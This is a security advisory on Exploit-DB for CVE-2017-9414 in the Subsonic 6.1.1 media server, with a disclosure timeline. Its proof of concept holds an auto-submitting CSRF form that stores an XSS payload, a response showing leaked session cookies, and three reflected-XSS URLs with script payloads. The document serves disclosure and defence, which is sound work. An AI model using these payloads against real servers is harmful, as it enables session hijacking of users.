Subsonic 6.1.1 – Cross-Site Request Forgery / Cross-Site Scripting

  • 作者: hyp3rlinx
    日期: 2017-06-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42120/
  • [+] Credits: John Page a.k.a hyp3rlinx	
    [+] Website: hyp3rlinx.altervista.org
    [+] Source:http://hyp3rlinx.altervista.org/advisories/SUBSONIC-CSRF-PERSISTENT-XSS.txt
    [+] ISR: ApparitionSec
     
    
    Vendor:
    ================
    www.subsonic.org
    
    
    
    Product:
    ===============
    subsonic v6.1.1
    
    Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.
    
    
    
    Vulnerability Type:
    ======================
    CSRF - Persistent XSS
    
    
    
    CVE Reference:
    ==============
    CVE-2017-9414
    
    
    
    Security Issue:
    ================
    Remote attackers can abuse the Subscribe to Podcast feature of subsonic to store persistent XSS payloads 
    if an authenticated user clicks a malicious link or visits an attacker controlled webpage. 
    
    
    
    Exploit/POC:
    =============
    <form action="http://localhost:4040/playerSettings.view" method="post">
    <input name="playerId" type="hidden" value="1">
    <input name="name" type="text" value="<script>alert('XSS ' +document.cookie)</script>">
    <script>document.forms[0].submit()</script>
    </form>
    
    Then visit http://localhost:4040/index.view
    
    HTTP Response:
    XSS JSESSIONID=1n631ex230ljs; player-61646d696e=1; DWRSESSIONID=!hqFsK!BCyup7gBQU8spRLvw0tBacefl9Nl
    
    
    Misc Reflected:
    
    XSS 1
    http://localhost:4040/avatar.view?id=%3Cscript%3Ealert(document.cookie)%3C/script%3E
    
    XSS 2
    http://localhost:4040//userChart.view?type=%3Cscript%3Ealert(document.cookie)%3C/script%3E
    
    XSS 3
    http://localhost:4040/coverArt.view?size=%3Cscript%3Ealert(123)%3C/script%3E
    
    
    
    Network Access:
    ===============
    Remote
    
    
    
    
    Severity:
    =========
    High
    
    
    
    Disclosure Timeline:
    ==================================
    Vendor Notification:May 29, 2017
    Vendor Acknowledgement: May 30, 2017
    June 4, 2017: Public Disclosure
    
    
    
    [+] Disclaimer
    The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
    Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
    that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
    is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
    for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
    or exploits by the author or elsewhere. All content (c).
    
    hyp3rlinx